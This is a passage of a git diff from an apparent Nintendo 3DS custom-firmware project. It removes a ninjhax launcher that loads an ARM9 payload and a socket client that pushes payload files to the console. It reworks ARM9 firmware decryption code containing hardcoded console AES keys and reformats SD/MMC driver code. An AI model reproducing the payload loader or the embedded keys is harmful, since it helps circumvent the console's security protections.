- u32 m_fpexc; // +0C4 - }; - static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, - "ThreadSVCArea isn't the expected layout."); - static_assert(sizeof(SVCThreadArea) == 0x0C8, - "ThreadSVCArea isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a thread object. - class KThread : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - u32 m_unknown01C; // +01C - u32 m_unknown020; // +020 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C - u32 m_unknown030; // +030 - u32 m_unknown034; // +034 - KDebugThread *m_debugThread; // +038 - s32 m_threadPriority; // +03C - void *m_waitingOnObject; // +040 - u32 m_unknown044; // +044 - KThread **m_schedulerUnknown048; // +048 - void *m_arbitrationAddress; // +04C - u32 m_unknown050; // +050 - u32 m_unknown054; // +054 - u32 m_unknown058; // +058 - KLinkedListNode *m_waitingOnList; // +05C - u32 m_unknownListCount; // +060 - KLinkedListNode *m_unknownListHead; // +064 - KLinkedListNode *m_unknownListTail; // +068 - s32 m_threadPriority2; // +06C - s32 m_creatingProcessor; // +070 - u32 m_unknown074; // +074 - u32 m_unknown078; // +078 - u16 m_unknown07C; // +07C - u8 m_threadType; // +07E - u8 m_padding07F; // +07F - void *m_process; // +080 - u32 m_threadID; // +084 - SVCRegisterState *m_svcRegisterState; // +088 - void *m_svcPageEnd; // +08C - s32 m_idealProcessor; // +090 - void *m_tlsUserMode; // +094 - void *m_tlsKernelMode; // +098 - u32 m_unknown09C; // +09C - KThread *m_prev; // +0A0 - KThread *m_next; // +0A4 - KThread **m_temporaryLinkedList; // +0A8 - u32 m_unknown0AC; // +0B0 - }; - static_assert(sizeof(KThread) == 0x0B0, - "KThread isn't the expected size."); - static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, - "KThread isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Version 1.0.0(?) - 7.2.0 - class KProcess_1_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - u32 m_unknown04C; // +04C - u32 m_mmuTableSize; // +050 - void *m_mmuTableAddress; // +054 - u32 m_threadContextPagesSize; // +058 - u32 m_threadLocalPageCount; // +05C - KLinkedListNode *m_threadLocalPageFirst; // +060 - KLinkedListNode *m_threadLocalPageLast; // +064 - u32 m_unknown068; // +068 - s32 m_idealProcessor; // +06C - u32 m_unknown070; // +070 - void *m_resourceLimits; // +074 - u8 m_unknown078; // +078 - u8 m_affinityMask; // +079 - u32 m_threadCount; // +07C - KSVCACL m_svcAccessControl; // +080 - u32 m_interruptFlags[0x80 / 32]; // +090 - u32 m_kernelFlags; // +0A0 - u16 m_handleTableSize; // +0A4 - u16 m_kernelReleaseVersion; // +0A6 - KCodeSet *m_codeSet; // +0A8 - u32 m_processID; // +0AC - u32 m_kernelFlags2; // +0B0 - u32 m_unknown0B4; // +0B4 - KThread *m_mainThread; // +0B8 - //...more... - }; - static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, - "KProcess_1_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Old 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - void *m_userVirtualMemoryEnd; // +04C - void *m_userLinearVirtualBase; // +050 - u32 m_unknown054; // +054 - u32 m_mmuTableSize; // +058 - void *m_mmuTableAddress; // +05C - u32 m_threadContextPagesSize; // +060 - u32 m_threadLocalPageCount; // +064 - KLinkedListNode *m_threadLocalPageFirst; // +068 - KLinkedListNode *m_threadLocalPageLast; // +06C - u32 m_unknown070; // +070 - s32 m_idealProcessor; // +074 - u32 m_unknown078; // +078 - void *m_resourceLimits; // +07C - u32 m_unknown080; // +080 - u32 m_threadCount; // +084 - u8 m_svcAccessControl[0x80 / 8]; // +088 - u32 m_interruptFlags[0x80 / 32]; // +098 - u32 m_kernelFlags; // +0A8 - u16 m_handleTableSize; // +0AC - u16 m_kernelReleaseVersion; // +0AE - KCodeSet *m_codeSet; // +0B0 - u32 m_processID; // +0B4 - u32 m_unknown0B8; // +0B8 - u32 m_unknown0BC; // +0BC - KThread *m_mainThread; // +0C0 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, - "KProcess_8_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // New 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_New : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C new to New 3DS - u32 m_unknown030; // +030 new to New 3DS - u32 m_memoryBlockCount; // +034 - KLinkedListNode *m_memoryBlockFirst; // +038 - KLinkedListNode *m_memoryBlockLast; // +03C - u32 m_unknown040; // +040 - u32 m_unknown044; // +044 - void *m_translationTableBase; // +048 - u8 m_contextID; // +04C - u32 m_unknown050; // +050 - void *m_userVirtualMemoryEnd; // +054 - void *m_userLinearVirtualBase; // +058 - u32 m_unknown05C; // +05C - u32 m_mmuTableSize; // +060 - void *m_mmuTableAddress; // +064 - u32 m_threadContextPagesSize; // +068 - u32 m_threadLocalPageCount; // +06C - KLinkedListNode *m_threadLocalPageFirst; // +070 - KLinkedListNode *m_threadLocalPageLast; // +074 - u32 m_unknown078; // +078 - s32 m_idealProcessor; // +07C - u32 m_unknown080; // +080 - void *m_resourceLimits; // +084 - u32 m_unknown088; // +088 - u32 m_threadCount; // +08C - u8 m_svcAccessControl[0x80 / 8]; // +090 - u32 m_interruptFlags[0x80 / 32]; // +0A0 - u32 m_kernelFlags; // +0B0 - u16 m_handleTableSize; // +0B4 - u16 m_kernelReleaseVersion; // +0B6 - KCodeSet *m_codeSet; // +0B8 - u32 m_processID; // +0BC - u32 m_unknown0C0; // +0C0 - u32 m_unknown0C4; // +0C4 - KThread *m_mainThread; // +0C8 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, - "KProcess_8_0_0_New isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Done using illegal offsetof - #pragma GCC diagnostic pop -} diff --git a/ninjhax/source/main.c b/ninjhax/source/main.c deleted file mode 100644 index c3f09ca..0000000 --- a/ninjhax/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include <3ds.h> -#include -#include -#include "brahma.h" -#include "hid.h" - -#ifndef LAUNCHER_PATH -#define LAUNCHER_PATH "Cakes.dat" -#endif - -int main (void) { - if (brahma_init()) { - if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1) - goto error; - firm_reboot(); - brahma_exit(); - } - - // Return to hbmenu - return 0; - -error: - gfxInitDefault(); - consoleInit(GFX_BOTTOM, NULL); - printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH); - wait_any_key(); - - gfxExit(); - return 1; -} diff --git a/ninjhax/source/utils.s b/ninjhax/source/utils.s deleted file mode 100644 index 9dc2f7d..0000000 --- a/ninjhax/source/utils.s +++ /dev/null @@ -1,38 +0,0 @@ -.arm -.align 4 -.code 32 -.text - -.global InvalidateEntireInstructionCache -.type InvalidateEntireInstructionCache, %function -InvalidateEntireInstructionCache: - mov r0, #0 - mcr p15, 0, r0, c7, c5, 0 - bx lr - -.global CleanEntireDataCache -.type CleanEntireDataCache, %function -CleanEntireDataCache: - mov r0, #0 - mcr p15, 0, r0, c7, c10, 0 - bx lr - -.global dsb -.type dsb, %function -dsb: - mov r0, #0 - mcr p15, 0, r0, c7, c10, 4 - bx lr - -.global DisableInterrupts -.type DisableInterrupts, %function -DisableInterrupts: - mrs r0, cpsr - CPSID I - bx lr - -.global EnableInterrupts -.type EnableInterrupts, %function -EnableInterrupts: - msr cpsr_cx, r0 - bx lr diff --git a/ninjhax/tools/client.py b/ninjhax/tools/client.py deleted file mode 100644 index 268cd17..0000000 --- a/ninjhax/tools/client.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/python - -import socket -import sys - -if len(sys.argv) < 3: - print "python client.py \n" - sys.exit(0) - -port = 80 -host = sys.argv[1] -pfile = sys.argv[2] - -f = open(pfile, "rb") -buf = f.read() -f.close() - -s = socket.socket() -s.connect((host, port)) -sent = s.send(buf) -print "Sent %d bytes\n" % sent -s.close() diff --git a/source/crypto.c b/source/crypto.c index d226690..0c5e023 100644 --- a/source/crypto.c +++ b/source/crypto.c @@ -357,113 +357,42 @@ int rsa_verify(const void* data, u32 size, const void* sig, u32 mode) * Nand/FIRM Crypto stuff ****************************************************************/ -//Get Nand CTR key -void getNandCTR(u8 *buf) { - u8 *addr = (u8*)0x080D8BBC; - u8 keyLen = 0x10; //CTR length - addr += 0x0F; - while (keyLen --) { *(buf++) = *(addr--); } -} - -//Read firm0 from NAND and write to buffer -void nandFirm0(u8 *outbuf, const u32 size){ - u8 CTR[0x10]; - getNandCTR(CTR); - aes_advctr(CTR, 0x0B130000/0x10, AES_INPUT_BE | AES_INPUT_NORMAL); - sdmmc_nand_readsectors(0x0B130000 / 0x200, size / 0x200, outbuf); - aes_use_keyslot(0x06); - aes(outbuf, outbuf, size / AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); -} - //Emulates the Arm9loader process -//9.5.0 = 0x0F -//9.6.0 = 0x18 -void arm9loader(void *armHdr, u32 kversion){ +void arm9loader(void *armHdr){ //Set Nand key#2 here (decrypted from 0x12C10) u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0}; u8 keyX[0x10]; u8 keyY[0x10]; u8 CTR[0x10]; - u32 slot = (kversion >= 0x0F ? 0x16 : 0x15); + u32 slot = 0x16; //Setupkeys needed for arm9bin decryption - memcpy(keyY, armHdr+0x10, 0x10); - memcpy(CTR, armHdr+0x20, 0x10); - u32 size = atoi(armHdr+0x30); + memcpy((u8*)keyY, (void *)((uintptr_t)armHdr+0x10), 0x10); + memcpy((u8*)CTR, (void *)((uintptr_t)armHdr+0x20), 0x10); + u32 size = atoi((void *)((uintptr_t)armHdr+0x30)); - if(kversion >= 0x0F){ - if(kversion >= 0x18) aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_use_keyslot(0x11); - aes(keyX, armHdr+0x60, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - aes_setkey(slot, keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - } + //Set 0x11 to key2 for the arm9bin and misc keys + aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_use_keyslot(0x11); - aes_setkey(slot, keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setiv(CTR, AES_INPUT_BE | AES_INPUT_NORMAL); + //Set 0x16 keyX, keyY and CTR + aes((u8*)keyX, (void *)((uintptr_t)armHdr+0x60), 1, NULL, AES_ECB_DECRYPT_MODE, 0); + aes_setkey(slot, (u8*)keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_setkey(slot, (u8*)keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_setiv((u8*)CTR, AES_INPUT_BE | AES_INPUT_NORMAL); aes_use_keyslot(slot); - aes(armHdr+0x800, armHdr+0x800, size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); -} - -void setKeys(kversion){ - u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0}; - //Initialze keys - if(kversion >= 0x18){ - - u8 keyX18[16] = {0x82, 0xE9, 0xC9, 0xBE, 0xBF, 0xB8, 0xBD, 0xB8, 0x75, 0xEC, 0xC0, 0xA0, 0x7D, 0x47, 0x43, 0x74}; - u8 keyX19[16] = {0xF5, 0x36, 0x7F, 0xCE, 0x73, 0x14, 0x2E, 0x66, 0xED, 0x13, 0x91, 0x79, 0x14, 0xB7, 0xF2, 0xEF}; - u8 keyX1A[16] = {0xEA, 0xBA, 0x98, 0x4C, 0x9C, 0xB7, 0x66, 0xD4, 0xA3, 0xA7, 0xE9, 0x74, 0xE2, 0xE7, 0x13, 0xA3}; - u8 keyX1B[16] = {0x45, 0xAD, 0x04, 0x95, 0x39, 0x92, 0xC7, 0xC8, 0x93, 0x72, 0x4A, 0x9A, 0x7B, 0xCE, 0x61, 0x82}; - u8 keyX1C[16] = {0xC3, 0x83, 0x0F, 0x81, 0x56, 0xE3, 0x54, 0x3B, 0x72, 0x3F, 0x0B, 0xC0, 0x46, 0x74, 0x1E, 0x8F}; - u8 keyX1D[16] = {0xD6, 0xB3, 0x8B, 0xC7, 0x59, 0x41, 0x75, 0x96, 0xD6, 0x19, 0xD6, 0x02, 0x9D, 0x13, 0xE0, 0xD8}; - u8 keyX1E[16] = {0xBB, 0x62, 0x3A, 0x97, 0xDD, 0xD7, 0x93, 0xD7, 0x57, 0xC4, 0x10, 0x4B, 0x8D, 0x9F, 0xB9, 0x69}; - u8 keyX1F[16] = {0x4C, 0x28, 0xEC, 0x6E, 0xFF, 0xA3, 0xC2, 0x36, 0x46, 0x07, 0x8B, 0xBA, 0x35, 0x0C, 0x79, 0x95}; - aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x19, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1A, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1B, keyX1B, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1C, keyX1C, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1D, keyX1D, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1E, keyX1E, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1F, keyX1F, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - - /* - //data at armHdr+0x8A804 (its not in FCRAM for whatever reason) - u8 encryptedData1[0x10] = { - 0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF, - 0x4D, 0xCA, 0x76, 0xDF - }; - //data at armHdr+0x8A814 (its not in FCRAM for whatever reason) - u8 encryptedData2[0x10] = { - 0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D, - 0x9D, 0x2A, 0x21, 0x98 - }; - - //Set key 0x18 keyX - u8 keyX18[0x10]; - aes(keyX18, encryptedData1, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - - //Set key 0x11 normalkey - aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_use_keyslot(0x11); - - //Set keys 0x19..0x1F keyXs - u8 keyTemp[0x10]; - u8 keys[7][0x10]; - aes_use_keyslot(0x11); - int i; for(i = 0; i < 7; i++) { - aes(keyTemp, encryptedData2, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - encryptedData2[0x0F]++; - memcpy(keys[i], keyTemp, 0x10); - } - aes_setkey(0x19, keys[0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1A, keys[1], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1B, keys[2], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1C, keys[3], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1D, keys[4], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1E, keys[5], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1F, keys[6], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);*/ + //Decrypt arm9bin + aes((void *)(armHdr+0x800), (void *)(armHdr+0x800), size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); + + //Set keys 0x19..0x1F keyXs + u8* decKey = (void *)((uintptr_t)armHdr+0x8A824); + aes_use_keyslot(0x11); + for(slot = 0x19; slot < 0x20; slot++) { + aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); + aes(decKey, (void *)((uintptr_t)armHdr+0x8A814), 1, NULL, AES_ECB_DECRYPT_MODE, 0); + aes_setkey(slot, (u8*)decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); + *(u8 *)((void *)((uintptr_t)armHdr+0x8A814+0xF)) += 1; } } \ No newline at end of file diff --git a/source/crypto.h b/source/crypto.h index 6c08729..5a807f6 100644 --- a/source/crypto.h +++ b/source/crypto.h @@ -131,9 +131,6 @@ void rsa_use_keyslot(u32 keyslot); int rsa_verify(const void* data, u32 size, const void* sig, u32 mode); //NAND/FIRM stuff -void getNandCTR(u8 *buf); -void nandFirm0(u8 *outbuf, const u32 size); -void arm9loader(void *armHdr, u32 kversion); -void setKeys(kversion); +void arm9loader(void *armHdr); #endif /*__CRYPTO_H*/ diff --git a/source/draw.c b/source/draw.c index 4bf6c70..29994c8 100644 --- a/source/draw.c +++ b/source/draw.c @@ -17,4 +17,5 @@ void clearScreen(void){ void loadSplash(void){ clearScreen(); fileRead(fb->top_left, "/rei/splash.bin", 0x46500); + unsigned i,t; for(t=120;t>0;t--){for(i=0xFFFF;i>0;i--);}; //Ghetto sleep func } \ No newline at end of file diff --git a/source/fatfs/diskio.c b/source/fatfs/diskio.c index 0eb8eb9..9e379e4 100644 --- a/source/fatfs/diskio.c +++ b/source/fatfs/diskio.c @@ -16,11 +16,11 @@ /*-----------------------------------------------------------------------*/ DSTATUS disk_status ( - __attribute__((unused)) - BYTE pdrv /* Physical drive nmuber to identify the drive */ + __attribute__((unused)) + BYTE pdrv /* Physical drive nmuber to identify the drive */ ) { - return RES_OK; + return RES_OK; } @@ -31,10 +31,10 @@ DSTATUS disk_status ( DSTATUS disk_initialize ( __attribute__((unused)) - BYTE pdrv /* Physical drive nmuber to identify the drive */ + BYTE pdrv /* Physical drive nmuber to identify the drive */ ) { - sdmmc_sdcard_init(); + sdmmc_sdcard_init(); return RES_OK; } @@ -46,15 +46,15 @@ DSTATUS disk_initialize ( DRESULT disk_read ( __attribute__((unused)) - BYTE pdrv, /* Physical drive nmuber to identify the drive */ + BYTE pdrv, /* Physical drive nmuber to identify the drive */ BYTE *buff, /* Data buffer to store read data */ DWORD sector, /* Sector address in LBA */ UINT count /* Number of sectors to read */ ) { - if (sdmmc_sdcard_readsectors(sector, count, buff)) { - return RES_PARERR; - } + if (sdmmc_sdcard_readsectors(sector, count, buff)) { + return RES_PARERR; + } return RES_OK; } @@ -67,33 +67,34 @@ DRESULT disk_read ( #if _USE_WRITE DRESULT disk_write ( - __attribute__((unused)) + __attribute__((unused)) BYTE pdrv, /* Physical drive nmuber to identify the drive */ const BYTE *buff, /* Data to be written */ DWORD sector, /* Sector address in LBA */ UINT count /* Number of sectors to write */ ) { - if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) { - return RES_PARERR; - } + if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) { + return RES_PARERR; + } return RES_OK; } #endif + /*-----------------------------------------------------------------------*/ /* Miscellaneous Functions */ /*-----------------------------------------------------------------------*/ #if _USE_IOCTL DRESULT disk_ioctl ( - __attribute__((unused)) + __attribute__((unused)) BYTE pdrv, /* Physical drive nmuber (0..) */ - __attribute__((unused)) + __attribute__((unused)) BYTE cmd, /* Control code */ - __attribute__((unused)) + __attribute__((unused)) void *buff /* Buffer to send/receive control data */ ) { diff --git a/source/fatfs/ffconf.h b/source/fatfs/ffconf.h index bd5ffa8..4b863c6 100644 --- a/source/fatfs/ffconf.h +++ b/source/fatfs/ffconf.h @@ -23,7 +23,7 @@ / and optional writing functions as well. */ -#define _FS_MINIMIZE 1 +#define _FS_MINIMIZE 0 /* This option defines minimization level to remove some basic API functions. / / 0: All basic functions are enabled. diff --git a/source/fatfs/sdmmc/delay.s b/source/fatfs/sdmmc/delay.s index b3baccd..3a2cfdf 100644 --- a/source/fatfs/sdmmc/delay.s +++ b/source/fatfs/sdmmc/delay.s @@ -1,17 +1,15 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. - .arm -.global ioDelay -.type ioDelay STT_FUNC +.global waitcycles +.type waitcycles STT_FUNC -@ioDelay ( u32 us ) -ioDelay: - ldr r1, =0x18000000 @ VRAM -1: - @ Loop doing uncached reads from VRAM to make loop timing more reliable - ldr r2, [r1] - subs r0, #1 - bgt 1b - bx lr +@waitcycles ( u32 us ) +waitcycles: + PUSH {R0-R2,LR} + STR R0, [SP,#4] + waitcycles_loop: + LDR R3, [SP,#4] + SUBS R2, R3, #1 + STR R2, [SP,#4] + CMP R3, #0 + BNE waitcycles_loop + POP {R0-R2,PC} diff --git a/source/fatfs/sdmmc/sdmmc.c b/source/fatfs/sdmmc/sdmmc.c index f6a0f97..eec1bb6 100644 --- a/source/fatfs/sdmmc/sdmmc.c +++ b/source/fatfs/sdmmc/sdmmc.c @@ -1,467 +1,616 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. +/* + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this file, + * You can obtain one at http://mozilla.org/MPL/2.0/. + * + * Copyright (c) 2014, Normmatt + * + * Alternatively, the contents of this file may be used under the terms + * of the GNU General Public License Version 2, as described below: + * + * This file is free software: you may copy, redistribute and/or modify + * it under the terms of the GNU General Public License as published by the + * Free Software Foundation, either version 2 of the License, or (at your + * option) any later version. + * + * This file is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General + * Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see http://www.gnu.org/licenses/. + */ -#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include #include "sdmmc.h" -#include "delay.h" +//#include "DrawCharacter.h" //Uncomment to enable 32bit fifo support? //not currently working -//#define DATA32_SUPPORT +#define DATA32_SUPPORT -static struct mmcdevice handleNAND; -static struct mmcdevice handleSD; +#define TRUE 1 +#define FALSE 0 + +#define bool int + +#define NO_INLINE __attribute__ ((noinline)) + +#define RGB(r,g,b) (r<<24|b<<16|g<<8|r) + +#ifdef __cplusplus +extern "C" { +#endif + void waitcycles(uint32_t val); +#ifdef __cplusplus +}; +#endif + +//#define DEBUG_SDMMC + +#ifdef DEBUG_SDMMC + extern uint8_t* topScreen; + extern void DrawHexWithName(unsigned char *screen, const char *str, unsigned int hex, int x, int y, int color, int bgcolor); + #define DEBUGPRINT(scr,str,hex,x,y,color,bg) DrawHexWithName(scr,str,hex,x,y,color,bg) +#else + #define DEBUGPRINT(...) +#endif + +//extern "C" void sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args); +//extern "C" void inittarget(struct mmcdevice *ctx); +//extern "C" int SD_Init(); +//extern "C" int SD_Init2(); +//extern "C" int Nand_Init2(); +//extern "C" void InitSD(); + +struct mmcdevice handelNAND; +struct mmcdevice handelSD; mmcdevice *getMMCDevice(int drive) { - if(drive==0) return &handleNAND; - return &handleSD; + if(drive==0) return &handelNAND; + return &handelSD; } -int __attribute__((noinline)) geterror(struct mmcdevice *ctx) +int geterror(struct mmcdevice *ctx) { - //if(ctx->error == 0x4) return -1; - //else return 0; - return (ctx->error << 29) >> 31; + return (ctx->error << 29) >> 31; } -void __attribute__((noinline)) inittarget(struct mmcdevice *ctx) +void inittarget(struct mmcdevice *ctx) { - sdmmc_mask16(REG_SDPORTSEL,0x3,(u16)ctx->devicenumber); - setckl(ctx->clk); - if (ctx->SDOPT == 0) { - sdmmc_mask16(REG_SDOPT, 0, 0x8000); - } else { - sdmmc_mask16(REG_SDOPT, 0x8000, 0); - } - + sdmmc_mask16(REG_SDPORTSEL,0x3,(uint16_t)ctx->devicenumber); + setckl(ctx->clk); + if(ctx->SDOPT == 0) + { + sdmmc_mask16(REG_SDOPT,0,0x8000); + } + else + { + sdmmc_mask16(REG_SDOPT,0x8000,0); + } + } -void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd, u32 args) +void NO_INLINE sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args) { - bool getSDRESP = (cmd << 15) >> 31; - u16 flags = (cmd << 15) >> 31; - const bool readdata = cmd & 0x20000; - const bool writedata = cmd & 0x40000; - - if (readdata || writedata) - flags |= TMIO_STAT0_DATAEND; - - ctx->error = 0; - while (sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY); //mmc working? - sdmmc_write16(REG_SDIRMASK0,0); - sdmmc_write16(REG_SDIRMASK1,0); - sdmmc_write16(REG_SDSTATUS0,0); - sdmmc_write16(REG_SDSTATUS1,0); - + bool getSDRESP = (cmd << 15) >> 31; + uint16_t flags = (cmd << 15) >> 31; + const bool readdata = cmd & 0x20000; + const bool writedata = cmd & 0x40000; + + if(readdata || writedata) + { + flags |= TMIO_STAT0_DATAEND; + } + + ctx->error = 0; + while((sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY)); //mmc working? + sdmmc_write16(REG_SDIRMASK0,0); + sdmmc_write16(REG_SDIRMASK1,0); + sdmmc_write16(REG_SDSTATUS0,0); + sdmmc_write16(REG_SDSTATUS1,0); #ifdef DATA32_SUPPORT - if (readdata) - sdmmc_mask16(REG_SDDATACTL32, 0x1000, 0x800); - if (writedata) - sdmmc_mask16(REG_SDDATACTL32, 0x800, 0x1000); +// if(readdata)sdmmc_mask16(REG_DATACTL32, 0x1000, 0x800); +// if(writedata)sdmmc_mask16(REG_DATACTL32, 0x800, 0x1000); +// sdmmc_mask16(REG_DATACTL32,0x1800,2); #else - sdmmc_mask16(REG_SDDATACTL32,0x1800,0); + sdmmc_mask16(REG_DATACTL32,0x1800,0); #endif - - sdmmc_write16(REG_SDCMDARG0,args &0xFFFF); - sdmmc_write16(REG_SDCMDARG1,args >> 16); - sdmmc_write16(REG_SDCMD,cmd &0xFFFF); - - u32 size = ctx->size; - u16 *dataPtr = (u16*)ctx->data; - + sdmmc_write16(REG_SDCMDARG0,args &0xFFFF); + sdmmc_write16(REG_SDCMDARG1,args >> 16); + sdmmc_write16(REG_SDCMD,cmd &0xFFFF); + + uint32_t size = ctx->size; + uint16_t *dataPtr = (uint16_t*)ctx->data; + uint32_t *dataPtr32 = (uint32_t*)ctx->data; + + bool useBuf = ( NULL != dataPtr ); + bool useBuf32 = (useBuf && (0 == (3 & ((uint32_t)dataPtr)))); + + uint16_t status0 = 0; + while(1) + { + volatile uint16_t status1 = sdmmc_read16(REG_SDSTATUS1); #ifdef DATA32_SUPPORT - u32 *dataPtr32 = (u32*)ctx->data; -#endif - - bool useBuf = ( NULL != dataPtr ); - -#ifdef DATA32_SUPPORT - bool useBuf32 = (useBuf && (0 == (3 & ((u32)dataPtr)))); -#endif - - u16 status0 = 0; - while(true) { - u16 status1 = sdmmc_read16(REG_SDSTATUS1); - if (status1 & TMIO_STAT1_RXRDY) { - if (readdata && useBuf) { - sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0); - //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY); - if (size > 0x1FF) { -#ifdef DATA32_SUPPORT - if (useBuf32) { - for(int i = 0; i<0x200; i+=4) - *dataPtr32++ = sdmmc_read32(REG_SDFIFO32); - } else { -#endif - for(int i = 0; i<0x200; i+=2) - *dataPtr++ = sdmmc_read16(REG_SDFIFO); -#ifdef DATA32_SUPPORT - } -#endif - size -= 0x200; - } - } - } - - if (status1 & TMIO_STAT1_TXRQ) { - if (writedata && useBuf) { - 